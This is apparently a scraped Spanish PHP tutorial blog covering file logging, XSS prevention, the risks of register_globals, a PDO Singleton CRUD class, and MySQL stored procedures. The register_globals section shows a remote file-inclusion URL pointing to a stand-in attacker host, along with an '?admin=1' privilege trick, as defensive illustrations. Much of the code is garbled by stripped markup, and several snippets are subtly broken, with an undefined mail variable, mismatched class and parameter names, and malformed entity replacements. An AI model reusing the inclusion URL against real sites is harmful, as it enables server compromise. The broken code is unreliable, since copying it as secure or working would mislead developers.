$filestring = file_get_contents($filename, NULL, NULL);
//$filestring = file_get_contents('./hola.txt', NULL, NULL,6,12);
// print $filestring;
	echo "
"; $convert = explode("\n", $filestring); //crea array separado por nueva linea for ($i=0;$i"; } $filestring.= "\r\n"; $filestring.= "Log fecha ". date("Y/m/d")."\r\n"; $filestring.="Hora del incidente ". date("G:i:s"). "\r\n"; $filestring.= "agregando linea con error especificado"."\r\n"; file_put_contents($filename, $filestring); echo "
"; /* Otra manera: $persona = "pabletoreto\n"; file_put_contents($filename, $persona, FILE_APPEND | LOCK_EX); Escribir los contenidos en el fichero, usando la bandera FILE_APPEND para añadir el contenido al final del fichero y la bandera LOCK_EX para evitar que cualquiera escriba en el fichero al mismo tiempo*/ } else{ die("Archivo especificado no existe"); } ?>

20 de abril de 2015

XSS (Cross-site scripting) PHP

Seguridad PHP - Cross Site Scripting (XSS) Es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado y validación en los campos de entrada. Permitiendo así el envío de scripts completos (como Visual Basic Scripts o JavaScripts) con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Este código malicioso intenta aprovecharse de la confianza de un usuario en un sitio web, para engañarlo en la realización de alguna acción o forzarlo a enviar algún tipo de información a otro sitio que no es de confianza. Un ataque XSS consiste en enviar un script malicioso con secuencias de comandos maliciosos que podrían impactar directamente en el sitio web o en el equipo de un usuario. Este código malicioso intenta aprovecharse de la confianza de un usuario en un sitio web, para engañarlo en la realización de alguna acción o forzarlo a enviar algún tipo de información a otro sitio que no es de confianza. Los scripts se ocultan entre solicitudes legítimas como la recepción de datos de un formulario web con el propósito de que dicho código al ser ejecutado por un cliente confiado lleve a cabo una acción maliciosa. Por ejemplo, un atacante colocar un enlace en un foro que al ser pinchado revele la información de identificación del usuario y la envíe a una dirección. En general en los ataques XSS son usadas etiquetas como SCRIPT, OBJECT, APPLET, EMBED y FORM. Tipos de ataque - Directo o persistente. Este tipo de ataque que sucede cuando el código malicioso ha pasado el proceso de validación (si es que lo hay) y se almacena en la base de datos u otro medio (por ejemplo un fichero). Podría insertarse a través de un comentario, archivo de registro, mensaje de notificación, o cualquier otra sección en la página web que requiere la entrada del usuario. Más tarde, cuando esta información particular se presenta en el sitio web, el código malicioso es ejecutado. - Local. Es una de las variantes del XSS directo, uno de sus objetivos consiste en explotar las vulnerabilidades del mismo código fuente de la página web. Esas vulnerabilidades son resultado del uso indebido del DOM con JavaScript, lo cual permite abrir otra página web con código malicioso JavaScript incrustado. Afectando el código de la primera página en el sistema local. Cuando el ataque XSS es local, ningún código malicioso es enviado al servidor. El funcionamiento toma lugar completamente en la máquina del cliente, pero modifica la página proporcionada por el sitio web antes de que sea interpretada por el navegador para que se comporte como si fuera la de confianza. Esto significa que la protección del lado del servidor que filtra el código malicioso no funciona en este tipo de vulnerabilidad. Ya que la página suplantadora enviará la información a un servidor diferente del esperado por el cliente atacado. - Indirecto o reflejado. Este tipo de ataques se presenta, cuando el código maligno se inyecta a través de formularios, a través de los parámetros de una URL, programas en Flash, un enlace malicioso e incluso vídeos. Utilizado mayoritariamente para robo de sesiones o phishing. Protección XSS La protección debe darse tanto al momento de ingresar los datos como al momento de mostrarlos en el browser, no debe haber confusión al momento de pensar que utilizando prepared statements de PDO evitaremos ataques XSS pues estas sentencias preparadas están más orientadas a evitar SQL Injection, así pues, para ingresar datos desde un formulario(i.e.) hacia una base de datos(i.e.) podemos seguir estos pasos: Validar los datos que se reciben y “sanearlos” Como regla de oro debemos validar cualquier dato que vaya a ser ingresado a la base de datos, mucho más si esta información viene de parte del usuario ya que solo podemos permitir la entrada esperada. Y por supuesto no confiar únicamente en la posible validación en el lado cliente del sistema, para este fin se pueden utilizar expresiones regulares, Type Casting o bien FILTER_VAR en su opción FILTER_SANITIZE Prevenir XSS con strip_tags Lo primero para prevenir estos ataques es limpiar cualquier etiqueta html ingresada por el usuario, para ello podemos utilizar la función strip_tags, la cual elimina etiquetas html. Esto es una forma básica de prevenir un ataque XSS, pero existen versiones más elaboradas de códigos de ataque que pueden no ser limpiadas por esta función. Otro problema de esta solución es que limpia todas las etiquetas html, pero en algunas ocasiones existe la necesidad de permitir algunas etiquetas (Por ejemplo: p, strong, em) para lo cual necesitamos una solución más elaborada. Prevenir XSS con FILTER_VAR PHP nos presenta un conjunto de funciones que nos permitirán la validación y saneamiento de datos de una forma sencilla. La funcion filter_var (PHP >=5.2) nos permite filtrar una variable según el filtro especificado, a continuación un ejemplo que valida que el valor no este vacio, luego hace un filtrado de datos para por ultimo verificar que sea del tipo esperado, en caso de pasar las validaciones envía un correo con los datos suministrados, en caso de no pasar las validaciones muestra un mensaje de error
<?php
 $errors=””;
    if (isset($_POST['Submit'])) {
 
        if ($_POST['name'] != "") {
            $_POST['name'] = filter_var($_POST['name'], FILTER_SANITIZE_STRING);
            if ($_POST['name'] == "") {
                $errors .= 'Please enter a valid name.

'; } } else { $errors .= 'Please enter your name.
'; } if ($_POST['email'] != "") { $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $errors .= "$email is NOT a valid email address.

"; } } else { $errors .= 'Please enter your email address.
'; } if ($_POST['homepage'] != "") { $homepage = filter_var($_POST['homepage'], FILTER_SANITIZE_URL); if (!filter_var($homepage, FILTER_VALIDATE_URL)) { $errors .= "$homepage is NOT a valid URL.

"; } } else { $errors .= 'Please enter your home page.
'; } if ($_POST['message'] != "") { $_POST['message'] = filter_var($_POST['message'], FILTER_SANITIZE_STRING); if ($_POST['message'] == "") { $errors .= 'Please enter a message to send.
'; } } else { $errors .= 'Please enter a message to send.
'; } if (!$errors) { $mail_to = 'me@somewhere.com'; $subject = 'New Mail from Form Submission'; $message = 'From: ' . $_POST['name'] . "\n"; $message .= 'Email: ' . $_POST['email'] . "\n"; $message .= 'Homepage: ' . $_POST['homepage'] . "\n"; $message .= "Message:\n" . $_POST['message'] . "\n\n"; mail($to, $subject, $message); echo "Thank you for your email!

"; } else { echo '
' . $errors . '
'; } } ?>
Name:


Email Address:


Home Page:


Message:

Función para no permitir entidades HTML Es bastante simple pero al menos a mi me ha funcionado
<?php
function limpiar_tags($tags){
$tags = strip_tags($tags);
$tags = stripslashes($tags);
$tags = htmlentities($tags);
return $tags;
}
?>
Igualmente te dejo esta otra función que me ha funcionado
<?php
function SanitizeInputXSS($dirty_input) { 
      return htmlspecialchars(rawurldecode(trim($dirty_input)), ENT_QUOTES,'UTF-8'); 
 } 

$name = SanitizeInputXSS($_POST['name']);  
?>
O si quieres reemplazar los caracteres por tu cuenta, créate un array con los caracteres a reemplazar y los caracteres que serán reemplazados
<?php
function PreventXSS($String)
    {
        $Find = array('&', '<', '>', '/');
        $Replace = array('& ;', '< ;', '> ;', '/ ;');
        $NewString = str_replace($Find, $Replace, $String);
        
        return $NewString;
    }  
?>
Permitir entidades HTML Las validaciones anteriores sanean los datos de usuario de código HTML y es funcional para la mayoría de datos que provienen de un formulario, pero que pasa cuando por la lógica del negocio queremos ingresar las etiquetas HTML a la base de datos? Imagina que tenemos un editor de texto para comentarios y queremos almacenar texto en negrita. Tendremos que almacenar el texto junto con sus etiquetas HTML correspondiente. Pero si eliminamos todas las etiquetas HTML o PHP con strip_tags() o bien con FILTER_VAR esto no será posible. Prevenir XSS con PHP Input Filter PHP Input Filter, es una clase escrita en PHP que permite filtrar código malicioso ingresado en los formularios para prevenir ataques XSS de manera sencilla, tiene la cualidad de no limpiar determinadas etiquetas o atributos. Para utilizar esta clase, descargamos los archivos desde el web oficial e incluimos el archivo class.inputfilter.php al inicio de nuestro PHP. Luego se debe crear una instancia de la clase InputFilter, entonces podemos filtrar los datos con el método process de la siguiente forma:
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter();
$nombre = $ifilter->process($_POST['nombre']);
?>
También se pueden filtrar todos los campos enviados por el formulario, por ejemplo si el formulario es enviado por el método POST, podríamos utilizar el siguiente código para filtrar todos los campos para luego utilizarlos sin problemas.
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter();
$_POST = $ifilter->process($_POST);
?>
Permitir etiquetas con PHP Input Filter Para evitar que algunas etiquetas sean filtradas podemos pasarlas como un array como parámetro al momento de crear la instancia de la clase. Por ejemplo para permitir las etiquetas strong yem y tendríamos:
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter(array('em', 'strong'));
$_POST = $ifilter->process($_POST);
?>
Permitir atributos con PHP Input Filter También existe la posibilidad de desear que algunos atributos sean permitidos en el ingreso de los datos por parte del usuario. Por ejemplo podríamos permitir que los visitantes puedan ingresar enlaces para lo cual tendríamos que permitir el atributo href que contiene la ruta de destino.
<?php
require_once("class.inputfilter.php");
$ifilter = new InputFilter(array('a'), array('href'));
$comentario = $ifilter->process($_POST['comentario']);
?>
Prevenir XSS con HTMLPurifier Esta librería es un gran aliado para la seguridad que nos permite analizar una entrada HTML, BBCode o Markdown y eliminar aquellas partes que contengan código malicioso. Además, nos asegura que el HTML de entrada cumple con el estándar declarado en el doctype. Instalarla es sencillo (Requiere PHP 5 y los test se han realizado para versiones >= 5.0.5) Utilizando Prepared Statements Por ultimo recuerda que si bien hemos trabajado en evitar ataques XSS aún queda pendiente el ataque bajo SQL Injection por lo que al ingresar a la base de datos lo recomendable es utilizar PDO con sus prepared statements o bien mysqli, asi pues, la lógica es: recibir los datos y validar que existe información, luego hacer un saneamiento de esos datos para su posterior validación. Mostrando información Generalmente la función htmlspecialchars() es suficiente para filtrar la salida de contenido que se muestre en el navegador. Si usamos algún tipo de codificación especial diferente a ISO-8859-1 o UTF-8, entonces usaremos la función htmlentities() para dicha tarea. Para mostrar la información al usuario siempre buscando prevenir XSS se puede utilizar esta función, siempre y cuando estés programando en una versión que aún no ha depreciado el uso de magic_quotes esto es, en versiones de PHP menor a la 5.3.0 ya que esta característica ha sido declarada OBSOLETA desde PHP 5.3.0 y ELIMINADA a partir de PHP 5.4.0.
<?php
function sanitize($html){
	if(get_magic_quotes_gpc()){
		$html = stripslashes($html);
	}
	$html = mb_convert_encoding($html, 'UTF-8', 'UTF-8');
	$html = htmlentities($html, ENT_QUOTES, 'UTF-8');
	return $html;
}
?>
Esta función puede servirte para versiones más recientes
<?php
function bbkoda($text) {
$text = htmlspecialchars($text, ENT_QUOTES,'UTF-8');  
// $text = htmlspecialchars($text, ENT_QUOTES);
$text = nl2br($text);

$hitta = array(
          "'\[b](.*?)\[/b]'is",
          "'\[i](.*?)\[/i]'is"
          );

$byt = array(
             "\\1",
             "\\1"
            );

$text = preg_replace($hitta, $byt, $text);

return $text;
}
?>
La bandera ENT_QUOTES indica que vamos a convertir a entidades HTML ambos tipos de comillas. Tanto las simples como las dobles. En cuanto al 'charset' de codificación vamos a elegir UTF-8 (por defecto en PHP 5.4). Ya que es contiene el conjunto de caracteres más completo y es el estándar para una aplicación multi-idioma. Por último, una aplicación que puede sernos de gran utilidad es XSSploit nos permitirá localizar las vulnerabilidades de nuestra web antes de publicarla y evitar muchos problemas en el futuro, la web esta en http://www.scrt.ch/en/attack/downloads/xssploit

register_globals() en PHP...porque no?

El primer paso antes de validar cualquier datos de entrada, es comprobar que la directiva register_globals este desactivada. Desde PHP 5.3 fue declarada obsoleta y a partir de la versión 5.4 fue eliminada. Pero hay que tener cuidado si se usa una versión de PHP anterior. Por lo que podemos usar la función phpinfo() para que nos diga si esta a activada o no. El tener activa esta directiva ocasiona problemas graves de seguridad. Cuando register_globals está definida a “On” dentro del php.ini, se permitiría que un usuario cualquiera pudiera inicializar una variable remotamente. Y esto es un peligro en combinación con de la naturaleza de PHP que no obliga a inicializar las variables. Vamos a ver como la no inicialización de variables, combinada con la directiva mencionada, puede provocar que una simple 'inclusión' sea un gran peligro de seguridad. En este ejemplo la no inicialización del parámetro utilizado para incluir archivos podría terminar en una ejecución arbitraria de archivos localizados local y remotamente. Este simple código podía ser inseguro si la directiva register_globals esta activada, ya que un atacante podría introducir la siguiente URL http://www.ejemplo.com/index.php?archivo=http://www.hacker.com/attack.php. Y de esta manera el archivo http://www.hacker.com/attack.php será incluido y ejecutado en el servidor. Otro ejemplo podría ser: isAdmin() ){ $admin = TRUE; } if ( $admin ) { } ?> Ahora pensemos en que pasaría si en URI introducimos ?admin=1 y tenemos la directiva register_globals activa. Pues sí, que nos podríamos identificar como admin. Por eso en las versiones actuales de PHP se elimino esta directiva, que en principio estaba pensada para ahorrar esfuerzo a los desarrolladores. Una solución y una buena practica de programación, tanto si esta la directiva register_globals o no, es inicializar las variables. En nuestro ejemplo tendríamos que inicializar $admin = false antes de la primera condición.

17 de abril de 2015

PHP PDO Singleton CRUD

Lo primero es crear la clase Singleton que implementara el patrón de diseño Singleton que servirá para asegurarnos de crear una instancia de clase única, estas características las utilizaremos para conectarnos a la base de datos.

Te recomiendo veas esta entrada en caso quieras conocer mas detalladamente este patrón y sus limitaciones.
<?php
class Singleton 
{ 
    // Ubicación: TuServidor/Clases/Singleton.php

    public $db;     
    private static $dns = "mysql:host=tuServidor;dbname=tuBasedeDatos"; 
    private static $user = "Usuario"; 
    private static $pass = "tuPassword";     
    private static $instance;

    public function __construct ()  
    {        
       $this->db = new PDO(self::$dns,self::$user,self::$pass);       
    } 

    public static function getInstance()
    { 
        if(!isset(self::$instance)) 
        { 
            $object= __CLASS__; 
            self::$instance=new $object; 
        } 
        return self::$instance; 
    }    
} 
?>
Creamos un nuevo archivo php y especificamos la clase Implementacion, esta se encargara de realizar operaciones sobre una tabla especifica, para ello realiza la conexión sobre la base de datos utilizando el patrón Singleton implementado en la clase Singleton.php

<?php
require_once "Singleton.php"; 
class Implementacion  
{
    // Ubicación: TuServidor/Clases/Implementacion.php

 public function validar($codigo) 
    { 
        $cc = Singleton::getInstance(); 
        $sql = "SELECT count(*) FROM products WHERE categoryid=:codigo ";        
        $result = $cc->db->prepare($sql); 
        $params = array("codigo" => $codigo); 
        $result->execute($params); 
        $affected_rows = $result->fetchColumn(); 
        return ($affected_rows); 
        //retorna numerico 
    } 

 public function Datos($codigo) 
    { 
        $cc = Singleton::getInstance(); 
        $sql="SELECT * from products where categoryid=:codigo"; 
        $result = $cc->db->prepare($sql);     
        $params = array("codigo" => $codigo); 
        $result->execute($params); 
        return ($result); 
        //retorna conjunto de datos 
    } 

 public function NuevoCategoria($nombre,$descripcion) 
    {         
        $cc = Singleton::getInstance(); 
        $sql = "Insert into categories(nombre,descripcion)"; 
        $sql .= " values( "; 
        $sql .=" :nombre,:description)"; 
        $result = $cc->db->prepare($sql); 
        $params = array("nombre" =>$nombre, "descripcion" => $descripcion); 
        $result->execute($params);     
    } 

} 
?>
Ahora desde un archivo PHP comun y corriente hacemos uso de las clases definidas anteriormente aprovechando la programación orientada a objetos, te recomiendo adecuar las validaciones necesarias.

<?php
  // Ubicacion:TuServidor 
require_once("Clases/Implementacion.php");   

        $aproducts = new Cproducts;     
        $affected_rows=$aproducts->validar($codigo); 

       $result=$aproducts->Datos($codigo); 
       foreach($result as $row)  
       { 
               echo($row['productname']); 
       } 
?>

15 de abril de 2015

PHP PDO y Procedimientos Almacenados MySQL

Se trataran diferentes escenarios y en toda la entrada se trabajara la sentencia SELECT en un procedimiento almacenado en MySQL que variara según el numero y el tipo de parámetros que acepte o que entregara. La tabla a utilizarse tiene por nombre empleado_php la cual tiene solamente dos campos varchar: ID(PK 8) y Nombre(50).

  • Procedimiento Almacenado sin Parámetros
Este procedimiento solamente recupera con las sentencia select * from empleado_php todos los registros de la tabla, no aplica ningún filtro ni recibe o entrega ningún tipo de parámetros
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `select_sp`$$

CREATE DEFINER=`root`@`localhost`
PROCEDURE `select_sp`()
BEGIN
    SELECT * FROM empleado_php;

END$$
DELIMITER ;
Ahora el codigo php que se utilizara para invocar el procedimiento almacenado y en este mismo se mostraran los datos que devuelve el procedimiento almacenado.
<?php
     
  $host="localhost";
  $dbname="ejemplo";
  $username="root";
  $password="";
     
  try {
   $conn = new PDO("mysql:host=$host;dbname=$dbname",
                            $username, $password);
   $sql = 'CALL select_sp()';
   $q = $conn->query($sql);
   $q->setFetchMode(PDO::FETCH_ASSOC); }
  catch (PDOException $pe) {
   die("Error occurred:" . $pe->getMessage());
        }
        
  while ($r = $q->fetch()):      
     echo "ID del empleado:  "  .$r['ID'];
     echo "Nombre:  ".  $r['Nombre']; 
     endwhile;
?>

  • Procedimiento Almacenado con Parámetro IN
Este procedimiento almacenado recupera el registro de un empleado de acuerdo a su ID que funcionara como criterio de busqueda, este ID es recibido en el procedimiento almacenado como parametro de entrada
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `selectOne_sp`$$

CREATE DEFINER=`root`@`localhost` PROCEDURE `selectOne_sp`(
IN id_val VARCHAR(8)
)
BEGIN
    SELECT * FROM empleado_php WHERE ID=id_val;

END$$
DELIMITER ;
Ahora el código php que se utilizara para invocar el procedimiento almacenado, desde este código se envía el parámetro que servirá como criterio de búsqueda y en este mismo se mostraran los datos que devuelve el procedimiento almacenado.
<?php
     $host="localhost";
     $dbname="ejemplo";
     $username="root";
     $password="";
     $idEmpleado = "PHP001";
        
 try {
   $conn = new PDO("mysql:host=$host;dbname=$dbname",
                            $username, $password);

   $sql = 'CALL selectOne_sp(:id)';
   $stmt = $conn->prepare($sql);
   $stmt->bindParam(':id', $idEmpleado, PDO::PARAM_STR, 100);
   $stmt->execute();
   $stmt->setFetchMode(PDO::FETCH_ASSOC);
   $stmt->setFetchMode(PDO::FETCH_ASSOC);
   $num= $stmt->rowCount();
   //while ($r = $stmt->fetch(PDO::FETCH_ASSOC)): 
          
   if($num>0){
    while ($r = $stmt->fetch()):      
     echo "ID del empleado:  "  .$r['ID'];
     echo "Nombre:  ".  $r['Nombre']; 
     //echo '$' . number_format($r['creditlimit'],2) 
       endwhile; }
   else{
  echo "No se encontraron registros con el ID " .$idEmpleado;
       }
 }
 
catch (PDOException $pe) {
            die("Error occurred:" . $pe->getMessage());
        }
?>

  • Procedimiento Almacenado con Parámetro OUT
Este procedimiento almacenado no recibe ningún parámetro de entrada y controla un parámetro de salida que entrega el numero total de registros de la tabla empleado_php
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `selectCount_sp`$$

CREATE DEFINER=`root`@`localhost`
PROCEDURE `selectCount_sp`(
OUT totalEmpleados INT
)
BEGIN  
      SELECT COUNT(Nombre) INTO totalEmpleados FROM empleado_php;

END$$
DELIMITER ;
Ahora el código php que se utilizara para invocar el procedimiento almacenado, para llamadas a procedimientos almacenados que manejan parámetros de salida deben realizarse dos consultas con la conexión a la base de datos obtenida, en una consulta se hará el CALL al procedimiento almacenado y con la segunda consulta se logra recuperar los parámetros output del procedimiento.
<?php
  $host="localhost";
  $dbname="ejemplo";
  $username="root";
  $password="";
        $idEmpleado = "PHP001";
try {   
 $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
 $sql = 'CALL selectCount_sp(@total)';
    $stmt = $conn->prepare($sql);
    $stmt->execute();
 
    $stmt->closeCursor(); //permite limpiar y ejecutar la segunda query
    
 // este codigo es para recuperar un valor
    $r = $conn->query('select @total'); 
 $total = $r->fetchColumn();
 echo $total;
 
 // este codigo serviria para recuperar mas de un valor output desde un SP.
    //$r = $conn->query('select @total')->fetch();
 //echo $r['@total'];
 
 }
catch (PDOException $pe) {
    die("Error occurred:" . $pe->getMessage());
}
?>

  • Procedimiento Almacenado con Parámetros OUT
Este procedimiento entregara mas de un parametro de salida
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `selectOuts_sp`$$

CREATE DEFINER=`root`@`localhost`
PROCEDURE `selectOuts_sp`(
OUT totalEmpleados INT,
OUT avgEmpleados VARCHAR(100))

BEGIN  
      SELECT COUNT(Nombre) INTO totalEmpleados FROM empleado_php;
      SELECT Nombre INTO avgEmpleados FROM empleado_php WHERE ID="PHP001";

END$$
DELIMITER ;
La llamada al procedimiento almacenado debe hacerse con dos query, deben realizarse dos consultas con la conexión a la base de datos obtenida, en una consulta se hará el CALL al procedimiento almacenado y con la segunda consulta se logra recuperar los parámetros output del procedimiento.

<?php
  $host="localhost";
  $dbname="ejemplo";
  $username="root";
  $password="";
        $idEmpleado = "PHP001";
try {   
  $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
  $sql = 'CALL selectOuts_sp(@total, @avg)';
  $stmt = $conn->prepare($sql);
  $stmt->execute();
 
  $stmt->closeCursor(); //permite limpiar y ejecutar la segunda query
    
  /* este codigo es para recuperar un valor
  $r = $conn->query('select @total, @avg'); 
  $total = $r->fetchColumn();
  echo $total;*/
 
  // este codigo serviria para recuperar mas de un valor output desde un SP.
  $r = $conn->query('select @total, @avg')->fetch();
  echo $r['@total'];
  echo $r['@avg'];
 
 }
catch (PDOException $pe) {
  die("Error occurred:" . $pe->getMessage());
}
?>

  • Procedimiento Almacenado con Parámetros IN-OUT
Procedimiento tratara los tipos de parámetro de entrada y salida,
DELIMITER $$
USE `ejemplo`$$
DROP PROCEDURE IF EXISTS `get_user`$$

CREATE DEFINER=`root`@`localhost` PROCEDURE `get_user`(
IN userId INT,
OUT firstName VARCHAR(100)
)
BEGIN
SELECT Nombre
INTO firstName
FROM empleado_php
WHERE ID = userId;

END$$
DELIMITER ;
Para utilizar este procedimiento almacenado se deben realizarse dos consultas con la conexión a la base de datos obtenida, en una consulta se hará el CALL al procedimiento almacenado y con la segunda consulta se logra recuperar los parámetros output del procedimiento.

<?php
 $host="localhost";
 $dbname="ejemplo";
 $username="root";
 $password="";
        $idEmpleado = "PHP001";
try {
    $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $sql = 'CALL get_user(:id,@lnombre)';
    $stmt = $conn->prepare($sql);
    $stmt->bindParam(':id', $idEmpleado, PDO::PARAM_STR, 100);
    $stmt->execute();
 
    $stmt->closeCursor(); //permite limpiar y ejecutar la segunda query
   
    $r = $conn->query("SELECT @lnombre AS nombre")->fetch(PDO::FETCH_ASSOC);
    if ($r['nombre']) {
        echo sprintf('Nombre del empleado %s es %s', $idEmpleado, $r['nombre']);
    }
 else
  echo sprintf('Nombre del empleado %s no esta especificado', $idEmpleado);
 }
catch (PDOException $pe) {
    die("Error occurred:" . $pe->getMessage());
}
?>